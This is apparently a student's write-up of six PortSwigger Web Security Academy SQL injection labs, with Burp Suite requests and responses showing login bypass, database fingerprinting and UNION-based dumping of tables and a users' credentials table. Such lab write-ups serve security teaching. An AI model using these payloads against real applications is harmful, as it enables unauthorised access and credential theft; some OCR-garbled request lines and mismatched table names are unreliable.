

# WS LAB SUBMISSION: SQL INJECTION.

## 1. SQL injection vulnerability in WHERE clause allowing retrieval of hidden data.

Task:

This lab contains a SQL injection vulnerability in the product category filter. When the user selects a category, the application carries out a SQL query like the following:

```
SELECT * FROM products WHERE category = 'Gifts' AND released =  
1
```

To solve the lab, perform a SQL injection attack that causes the application to display one or more unreleased products.

The screenshot shows the Burp Suite Professional interface with the following details:

- Request Tab:** Displays a GET request to `/filter?category='`. The request includes various headers such as Host, Cookie, Sec-Ch-Ua, Sec-Ch-Ua-Mobile, Sec-Ch-Ua-Platform, User-Agent, Accept, Sec-Fetch-Site, Sec-Fetch-Mode, Sec-Fetch-User, Referrer, Accept-Encoding, Accept-Language, and Priority.
- Response Tab:** Shows the response from the application. The page content includes the text: "SQL injection vulnerability in WHERE clause allowing retrieval of hidden data". A green button labeled "LAB Not solved" is visible.
- Inspector Tab:** Shows the raw HTML of the page, highlighting the injected SQL code: `SQL injection vulnerability in WHERE clause allowing retrieval of hidden data`.
- Notes Tab:** Shows a note: "Internal Server Error" with a link to "Back to lab description Internal Server Error".
- Bottom Status Bar:** Shows "Done", "2,515 bytes | 208 millis", "Event log (2)", "All issues (112)", and "Memory: 222.6MB".

First, I tried to find out whether this is vulnerable to the SQL injection. We already know the structure of the query. When I entered the “ ‘ ’ ” It gives an internal error, It confirms that there is a SQL injection vulnerability.

Now we can inject the payload → ‘or 1=1 –

Burp Suite Professional v2023.12.1.3 - Temporary Project - licensed to h3110w0r1d

Repeater

Target: https://0a1700b504bb59958095ead004b0024.web-security-academy.net

Request

```
Pretty Raw Hex
1 GET /filter?category=%27or l=1-- HTTP/2
2 Host: 0a1700b504bb59958095ead004b0024.web-security-academy.net
3 Cookie: session=vAFli48jPv1aUWccdFX6M0L3GUEYl1Zq
4 Cache-Control: max-age=0
5 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
6 Sec-Ch-Ua-Mobile: ?
7 Sec-Ch-Ua-Platform: "Linux"
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Sec-Fetch-Site: none
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: ?1
14 Sec-Fetch-Dest: document
15 Accept-Encoding: gzip, deflate, br
16 Accept-Language: en-US,en;q=0.9
17 Priority: u=0,i
18
19
```

Response

SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Back to lab home

Back to lab description

WE LIKE TO SHOP

'or 1=1--

Refine your search:

All Corporate gifts Food & Drink Gifts Tech gifts

11,550 bytes | 4,095 millis

Memory: 273.8MB

## **2. SQL injection vulnerability allowing login bypass.**

Task:

This lab contains a SQL injection vulnerability in the login function.

To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.

First, we need to try to find out if there exists a SQL injection vulnerability.

The screenshot shows a login interface with a light gray header bar containing 'Home' and 'My account' links. Below the header is a 'Login' title. The main area has two input fields: 'Username' and 'Password'. The 'Username' field is empty. The 'Password' field contains several dots ('.....'). At the bottom is a green 'Log in' button.

Then you got a response as internal server error then we can confirm there is a SQL injection vulnerability.

The screenshot shows the same login interface as the previous one. In the 'Username' field, the value 'administrator'-- has been entered, where '--' is a common SQL comment operator used to bypass the query. The 'Password' field contains several dots ('.....'). The 'Log in' button is visible at the bottom.

Payload is → administrator ‘ –

Commenting the rest of the thing.

The screenshot shows a browser window for the 'Web Security Academy' lab titled 'SQL injection vulnerability allowing login bypass'. The URL is <https://0a48002b03ebde508190761a00fa008c.web-security-academy.net/my-account...>. The page indicates the task is 'Solved' with a green button. A banner at the top says 'Congratulations, you solved the lab!' and includes links to 'Share your skills!', social media icons for Twitter and LinkedIn, and 'Continue learning >'. Below the banner, there are links to 'Home', 'My account', and 'Log out'. The main content area is titled 'My Account' and shows the message 'Your username is: administrator'. It features a form field labeled 'Email' with a placeholder 'Email' and a redacted input field. A green button labeled 'Update email' is visible. The overall theme is a web-based security training platform.

### **3. SQL injection attack, querying the database type and version on Oracle.**

Task:

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.

To solve the lab, display the database version string.

I here first we can see there are at least two columns. We need to confirm that.

To do that we can inject an order by query to the category part.

When we are trying to get 3 columns it gives an internal server error. It means we know that there are only two columns.

```

Request
Pretty Raw Hex
1 GET /filter?category=Gifts'+order+by+1-- HTTP/2
2 Host: Oaec00a3036a874a81e157dc008700cf.web-security-academy.net
3 Cookie: session=T0pLIwFnAdfpPpjtc2Lh3fhM3RloPW
4 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Linux"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85
Safari/537.36
9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image
/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
change;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 8825
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=
/resources/labheader/css/academyLabHeader.css rel=
stylesheet>
<link href=/resources/css/labsEcommerce.css rel=
stylesheet>
10   <title>
    SQL injection attack, querying the database type and
version on Oracle
  </title>
11 </head>
12 <body>

```

```

Burp Suite Professional v2023.12.1.3 - Temporary Project - licensed to h3110w0r1d
Burp Project Intruder Repeater View Help
Dashboard Target Intruder Proxy Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Settings
Extensions Learn
1 x +
Send Cancel < > Target: https://Oaec00a3036a874a81e157dc008700cf.web-security-academy.net HTTP/2
Request
Pretty Raw Hex
1 GET /filter?category=Gifts'+order+by+1-- HTTP/2
2 Host: Oaec00a3036a874a81e157dc008700cf.web-security-academy.net
3 Cookie: session=T0pLIwFnAdfpPpjtc2Lh3fhM3RloPW
4 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Linux"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85
Safari/537.36
9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image
/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
change;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer: https://Oaec00a3036a874a81e157dc008700cf.web-security.acade

Response
Pretty Raw Hex Render
1 HTTP/2 500 Internal Server Error
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2726
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=
/resources/labheader/css/academyLabHeader.css rel=
stylesheet>
<link href=/resources/css/labs.css rel=stylesheet>
10   <title>
    SQL injection attack, querying the database type and
version on Oracle
  </title>
11 </head>
12 <script src="/resources/labheader/js/labHeader.js">
</script>
13 <div id="academyLabHeader">
  <section class='academyLabBanner'>
```

Now we need to determine the data types of the columns.

To do that we can use → ' UNION SELECT 'a', 'a' from DUAL -- → oracle database.

In oracle any user can have access to the DUAL table.

(URL encode this query)

**Request**

```

1 GET /filter?category=Gifts'+UNION+SELECT+'a',+a'+from+DUAL-- HTTP/2
2 Host: Oaec00a3036a874a81e157dc008700cf.web-security-academy.net
3 Cookie: session=T0pL1vFnAdffPpjtc2Lh3fhM3R1oPw
4 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
5 Sec-Ch-Ua-Mobile: 70
6 Sec-Ch-Ua-Platform: "Linux"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1

```

**Response**

```

1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 9003
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href="/resources/labheader/css/academyLabHeader.css" rel="stylesheet">
10    <link href="/resources/css/labsEcommerce.css" rel="stylesheet">
11    <title>
12      SQL injection attack, querying the database type and version on Oracle
13    </title>
14  </head>
15  <body>

```

Content will be outputted on the page.

Now we need to output the version of the database we can search for this in the SQL injection cheat sheet.

SELECT banner FROM v\$version

Payload → ` UNION SELECT banner, NULL FROM v\$version

Because there are two columns.

**Burp Suite Professional v2023.12.1.3 - Temporary Project - licensed to h3110w0rld**

**Request**

```

1 GET /filter?category=Gifts'+UNION+SELECT+banner,+NULL+from+v$version-- HTTP/2
2 Host: Oaec00a3036a874a81e157dc008700cf.web-security-academy.net
3 Cookie: session=T0pL1vFnAdffPpjtc2Lh3fhM3R1oPw
4 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
5 Sec-Ch-Ua-Mobile: 70
6 Sec-Ch-Ua-Platform: "Linux"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Referer: https://Oaec00a3036a874a81e157dc008700cf.web-security-academy.net/
14 Accept-Encoding: gzip, deflate, br
15 Accept-Language: en-US,en;q=0.9
16 Priority: 0, i
17
18
19

```

**Response**

```

1 must allow 3 months for your order to be completed. So, delivery is paramount, no less than 24 hours until the last minute if you want to take advantage of this fabulously wonderful new way to present your gifts.
2 Get in touch, tell us what you need to be shipped, and we can give you an estimate within 24 hours. Let your funky originality extend to all areas of your life. We love every project we work on, so don't wait for a deposit, delay, give us a call today.
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105

```

**Browser View**

WebSecurity Academy

SQL injection attack, querying the database type and version on Oracle

Congratulations, you solved the lab!

Share your skills! Continue learning >

WE LIKE TO  
SHOP

Gifts

Refine your search:  
All Clothing, shoes and accessories Corporate gifts Food & Drink Gifts Lifestyle

Snow Delivered To Your Door

By Steam Train Direct From The North Pole  
We can deliver you the perfect Christmas gift of all. Imagine waking up to that white Christmas you have been dreaming of since you were a child. Your snow will be loaded on to our exclusive snow train and transported across the globe in time for the big day. In a few simple steps, your snow will be ready to scatter in the areas of your choosing. Make sure you have an extra large freezer before delivery. Decant the liquid into small plastic tubs (there is some loss of molecular structure during transit). Allow 3 days for it to refreeze. Chill away at each block until the ice resembles snowflakes. Scatter snow. Yes! It really is that easy. You will be the envy of all your neighbors unless you let them in on the secret. We offer a 10% discount on future purchases for every referral we receive from you. Snow isn't just for Christmas either, we deliver all year round, that's 365 days of the year. Remember to order before your existing snow melts, and allow 3 days to

#### 4. SQL injection attack, querying the database type and version on MySQL and Microsoft.

Task:

This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.

To solve the lab, display the database version string.

We can find out whether this is vulnerable to the SQL injection by entering a single quote into the category.

As in the previous lab, first we need to identify how many columns are there and data types of the columns.

To comment → we can use # here.

```

Request
Pretty Raw Hex
1 GET /filter?category='Tech+gifts'+order+by+3+23+HTTP/2
HTTP/2
2 Host:
Oaf600740476d47984faa562005d00ff.web-security-academy.net
3 Cookie: session=VolHfmq4kFhtI4XLZspJdu300lHoY9H2
4 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Linux"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85
Safari/537.36
9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image
/avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex
change;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1

Response
Pretty Raw Hex Render
1 HTTP/2 500 Internal Server Error
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 2554
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=
"/resources/labheader/css/academyLabHeader.css rel=
stylesheet">
10    <link href="/resources/css/labs.css rel=stylesheet">
11      <title>
SQL injection attack, querying the database type and
version on MySQL and Microsoft
</title>
12    </head>
13    <script src="/resources/labheader/js/labHeader.js">
</script>

```

Now we know there are 2 columns.

Request	Response
Pretty Raw Hex	Pretty Raw Hex Render
1 GET /filter?category='Tech+gifts'+UNION+SELECT+'a','a'%23 HTTP/2 2 Host: Oaf600740476d47984faa562005d00ff.web-security-academy.net 3 Cookie: session=VolHfmq4kFhtI4XLZspJdu300lHoY9H2 4 Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99" 5 Sec-Ch-Ua-Mobile: ?0 6 Sec-Ch-Ua-Platform: "Linux" 7 Upgrade-Insecure-Requests: 1 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36 9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image /avif,image/webp,image/apng,*/*;q=0.8,application/signed-ex change;v=b3;q=0.7 10 Sec-Fetch-Site: same-origin 11 Sec-Fetch-Mode: navigate 12 Sec-Fetch-User: ?1 13 Sec-Fetch-Dest: document 14 Referer: https://Oaf600740476d47984faa562005d00ff.web-security-acade my.net/filter?category=Pets 15 Accept-Encoding: gzip, deflate, br 16 Accept-Language: en-US,en;q=0.9 17 Priority: u=0, i 18 19	everything that is going on inside your head. If you think laser eye surgery is advanced you haven't seen anything yet. A small implant behind the lens of your eyes links to the thalamus and cortex, transmitting images that can be projected in the blink of an eye. With sufficient training, it is even possible for you to learn to sleep with your eyes open. Then you can entertain family and friends to a unique movie night like they have never experienced before. Forget Netflix, no subscription required here. The quality of projected images works better with blue eyes, therefore, we envisage altering most eye colors in order for you to experience the best we know you deserve. The process from start to finish is probably cheaper than you will be expecting. You have nothing to lose by booking a free consultation today. </td> </tr> <r> <th> a </th> <td> a </td> <td> a </td>

Found the data type also.

Payload → ' UNION SELECT @@version, NULL#

```

cheaper than you will be expecting. You
have nothing to lose by booking a free
consultation today.

96   </td>
97   </tr>
98   <tr>
99     <th>
100       8.0.36-Ubuntu0.20.04.1
101     </th>
102   </tr>
103   </tbody>
104 </table>
105 </div>
106 </div>
107 </body>
108 </html>
109

```

The screenshot shows the Burp Suite interface. The Request tab displays the payload: ' UNION SELECT @@version, NULL#'. The Response tab shows the resulting HTML page, which includes the database version information.

**Request:**

```

GET /filter?category=Tech+&title='UNION+SELECT+@@version,+NULL#'
HTTP/2
HTTP/2
Host: https://0af600740476d47984faa562005d0ff.web-security-academy.net
Cookie: session=VolHfg4kFht14XLZspJdUS00lHoY9Hz2
Sec-Ch-Ua: "Chromium";v="121", "Not A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85
Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate

```

**Response:**

```

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 9609
<!DOCTYPE html>
<html>
  <head>
    <link href="/resources/labheader/css/academyLabHeader.css" rel="stylesheet">
    <link href="/resources/css/labsEcommerce.css" rel="stylesheet">
    <title>SQL injection attack, querying the database type and version on MySQL and Microsoft</title>
  </head>
  <body>
    WE LIKE TO
    SHOP 
    SQL injection attack, querying the database type and version on MySQL and Microsoft
  </body>

```

## 5. SQL injection attack, listing the database contents on non-Oracle databases.

Task:

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the administrator user.

Need to find,

- how many columns are there → ‘order by 1--
- find the data types of the columns → ‘UNION SELECT ‘a’, ‘a’ –
- find the database version → there are three options

Microsoft    SELECT @@version

PostgreSQL SELECT version()

MySQL     SELECT @@version

Request	Response
<pre> Pretty Raw Hex 1 GET /filter?category=Gifts'+order+by+3--   HTTP/2 2 Host: Da53006c030f630380944e4800910096.web-security-academy.net 3 Cookie: session=G2FfVtooykRYzIpClBcGraJxadbXmc0j 4 Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122" 5 Sec-Ch-Ua-Mobile: ?0 6 Sec-Ch-Ua-Platform: "Windows" 7 Upgrade-Insecure-Requests: 1 </pre>	<pre> Pretty Raw Hex Render 1 HTTP/2 500 Internal Server Error 2 Content-Type: text/html; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2423 5 6 &lt;!DOCTYPE html&gt; 7 &lt;html&gt; 8   &lt;head&gt; 9     &lt;link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet"&gt; 10    &lt;link href="/resources/css/labs.css rel=stylesheet"&gt; </pre>
<pre> 1 GET /filter?category=Gifts'+UNION+SELECT+'a','a'--   HTTP/2 2 Host: Da53006c030f630380944e4800910096.web-security-academy.net 3 Cookie: session=G2FfVtooykRYzIpClBcGraJxadbXmc0j 4 Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122" 5 Sec-Ch-Ua-Mobile: ?0 6 Sec-Ch-Ua-Platform: "Windows" 7 Upgrade-Insecure-Requests: 1 8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like </pre>	<pre> 1 HTTP/2 200 OK 2 Content-Type: text/html; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 8754 5 6 &lt;!DOCTYPE html&gt; 7 &lt;html&gt; 8   &lt;head&gt; 9     &lt;link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet"&gt; 10    &lt;link href="/resources/css/labsEcommerce.css rel=stylesheet"&gt; </pre>

Not Microsoft.

Request	Response
<pre> Pretty Raw Hex 1 GET /filter?category=Gifts'+UNION+SELECT+40+40VERSION,+NULL--   HTTP/2 2 Host: Da53006c030f630380944e4800910096.web-security-academy.net 3 Cookie: session=G2FfVtooykRYzIpClBcGraJxadbXmc0j 4 Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122" 5 Sec-Ch-Ua-Mobile: ?0 </pre>	<pre> Pretty Raw Hex Render 1 HTTP/2 500 Internal Server Error 2 Content-Type: text/html; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 2423 5 6 &lt;!DOCTYPE html&gt; 7 &lt;html&gt; 8   &lt;head&gt; 9     &lt;link href="/resources/labheader/css/academyLabHeader.css rel=stylesheet"&gt; </pre>

The screenshot shows a NetworkMiner capture. The Request pane displays a POST request with the URL `/filter?category=Gifts' UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--`. The Response pane shows the server's response, which includes the header `Content-Type: text/html; charset=utf-8` and the body of a web page.

```

Request
Pretty Raw Hex
1 GET /filter?category=
Gifts' UNION+SELECT+table_name,+NULL+FROM+information_
schema.tables-- HTTP/2
2 Host:
Da53006c030f630380944e4800910096.web-security-
academy.net
3 Cookie: session=
G2FfVtooykRYzIpC1BcGraJxadbXmc0j
4 Sec-Ch-Ua: "Not(A:Brand";v="24",
"Chromium";v="122"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/122.0.6261.112 Safari/537.36
9 Accept:
text/html,application/xhtml+xml,application/xm
l;q=0.9,image/avif,image/webp,image/apng,*/*;q
=0.8,application/signed-exchange;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer:
https://Da53006c030f630380944e4800910096.web-s
ecurity-academy.net/
15 Accept-Encoding: gzip, deflate, br
16 Accept-Language: en-US,en;q=0.9
17 Priority: u=0, i
18
19

```

```

Response
Pretty Raw Hex Render
1 HTTP/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 8836
5
6 <!DOCTYPE html>
7 <html>
8   <head>
9     <link href=
/resources/labheader/css/academyLabHeader.
css rel=stylesheet>
10    <link href=

```

### The database is PostgreSQL.

Version → PostgreSQL 12.18 (Ubuntu 12.18-0ubuntu0.20.04.1) on x86\_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit.

Now we need to output the tables in the database.

- PostgreSQL → `SELECT * FROM information_schema.tables`
- Payload → ‘ UNION SELECT table\_name, NULL FROM information\_schema.tables--

(union based attack and there are two columns in the page)

The screenshot shows the continuation of the NetworkMiner capture. The Request pane shows the payload being sent, and the Response pane shows the resulting HTML page containing a table of PostgreSQL system tables.

```

1 GET /filter?category=
Gifts' UNION+SELECT+table_name,+NULL+FROM+information_
schema.tables-- HTTP/2
2 Host:
Da53006c030f630380944e4800910096.web-security-
academy.net
3 Cookie: session=
G2FfVtooykRYzIpC1BcGraJxadbXmc0j
4 Sec-Ch-Ua: "Not(A:Brand";v="24",
"Chromium";v="122"
5 Sec-Ch-Ua-Mobile: ?0
6 Sec-Ch-Ua-Platform: "Windows"
7 Upgrade-Insecure-Requests: 1
8 User-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/122.0.6261.112 Safari/537.36
9 Accept:
text/html,application/xhtml+xml,application/xm
l;q=0.9,image/avif,image/webp,image/apng,*/*;q
=0.8,application/signed-exchange;v=b3;q=0.7
10 Sec-Fetch-Site: same-origin
11 Sec-Fetch-Mode: navigate
12 Sec-Fetch-User: ?1
13 Sec-Fetch-Dest: document
14 Referer:
https://Da53006c030f630380944e4800910096.web-s
ecurity-academy.net/
15 Accept-Encoding: gzip, deflate, br
16 Accept-Language: en-US,en;q=0.9
17 Priority: u=0, i
18
19

```

```

389      </tr>
390      <tr>
391        <th>
392          pg_settings
393        </th>
394      <th>
395        role_table_grants
396      </th>
397      <th>
398        pg_statio_all_indexes
399      </th>
400      <th>
401        users_wlbdura
402      </th>
403      <th>
404        pg_depend
405      </th>
406      <th>
407        pg_subscription
408      </th>
409      <th>
410        pg_subscription_rel
411      </th>
412

```

Now need to get the column names

- Payload → ' UNION SELECT column\_name, NULL FROM information\_schema.columns WHERE table\_name = 'users\_nmzhfq' --

Request		Response	
	Pretty	Pretty	Raw
1	GET /filter?category=Gifts' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users_nmzhfq'-- HTTP/2	90	The Conversational Controlling Lemon is also available with gift wrapping and a personalized card, share with all your friends and family; mainly those who don't know when to keep quiet. At such a low price this is the perfect secret Santa gift. Remember, lemons aren't just for Christmas, they're for life; a quieter, more reasonable, and un-opinionated one.
2	Host: 0a3800120479aac28016943a00140047.web-security-academy.net	91	</td>
3	Cookie: session=sT0DEDozx5aQVBF5sfkTpR911GbFM9G	92	</tr>
4	Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"	93	<tr>
5	Sec-Ch-Ua-Mobile: ?0	94	<th>
6	Sec-Ch-Ua-Platform: "Windows"	95	username_srvgiy
7	Upgrade-Insecure-Requests: 1	96	</th>
8	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36		</tr>
9	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7		<tr>
10	Sec-Fetch-Site: same-origin		<th>
11	Sec-Fetch-Mode: navigate		password_crmclkl
12	Sec-Fetch-Dest: document		</th>

Found the username and the password columns.

- username\_srvgiy
- password\_crmclkl

Now we need to output all usernames and the passwords.

- Payload → ' UNION SELECT username\_srvgiy, password\_crmclkl FROM users\_nmzhfq --

Request		Response	
	Pretty	Pretty	Raw
1	GET /filter?category=Gifts' UNION SELECT username_srvgiy, password_crmclkl FROM users_nmzhfq-- HTTP/2	93	decision will be what colour you want to demonstrate your over the top love in public. Cover both you and your partner and make the rest of us look on in envy and disgust with the Couple's Umbrella.
2	Host: 0a3800120479aac28016943a00140047.web-security-academy.net	94	</td>
3	Cookie: session=sT0DEDozx5aQVBF5sfkTpR911GbFM9G	95	</tr>
4	Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122"	96	<tr>
5	Sec-Ch-Ua-Mobile: ?0	97	<th>
6	Sec-Ch-Ua-Platform: "Windows"	98	administrator
7	Upgrade-Insecure-Requests: 1		</th>
8	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36		<td>
9	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7		2ov3yo3nc6i50p7w42o8

## 6. SQL injection attack, listing the database contents on Oracle.

Task:

This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.

The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.

To solve the lab, log in as the administrator user.

In this lab we know the database is oracle hence same steps as the previous lab.

Need to find,

- how many columns are there → ‘ order by 1--
- find the data types of the columns → ‘ UNION SELECT ‘a’, ‘a’ –
- find the database version → `SELECT banner FROM v$version`  
`SELECT version FROM v$instance`
- The tables in the database.
- Columns in the database.

Request			Response					
Pretty	Raw	Hex	Pretty	Raw	Hex	Render		
1 GET /filter?category=Gifts'+UNION+SELECT+'a','a'+from+DUAL--			97			*Snowflakes.		
HTTP/2			98			*Scatter snow.		
2 Host: 0a4500740360bee680307bcd0042009b.web-security-academy.net						Yes! It really is that easy.		
3 Cookie: session=Rw5UEcmHuwHHhggoQN4ilaXIrIi1Rct						You will be the envy of all		
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"						your neighbors unless you let		
5 Sec-Ch-Ua-Mobile: ?0						them in on the secret. We offer		
6 Sec-Ch-Ua-Platform: "Windows"						a 10% discount on future		
7 Upgrade-Insecure-Requests: 1						purchases for every referral we		
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; ...)			99			receive from you.		
						Snow isn't just for		
						Christmas either, we deliver		
						all year round, that's 365		
						days of the year. Remember to		
						order before your existing snow		

Request			Response		
Pretty	Raw	Hex	Pretty	Raw	Hex
1 GET /filter?category=Gifts'+UNION+SELECT+table_name,+NULL+from+all_tables-- HTTP/2			300		Snow isn't just for Christmas either, we deliver all year round, that's 365 days of the year. Remember to order before your existing snow melts, and allow 3 days to prepare the new batch to avoid disappointment.
2 Host: 0a4500740360bee680307bcd0042009b.web-security-academy.net			301		</td>
3 Cookie: session=Rw5UEcmHuwHHhggoQN4ilaXIrIi1Rcet			302		</tr>
4 Sec-Ch-Ua: "Chromium";v="123", "Not:A-Brand";v="8"			303		<tr>
5 Sec-Ch-Ua-Mobile: ?0			304		<th> TABLE_PRIVILEGE_MAP
6 Sec-Ch-Ua-Platform: "Windows"			305		</th>
7 Upgrade-Insecure-Requests: 1			306		<tr>
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36			307		<th> USERS_AHBEDP
9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7			308		</th>
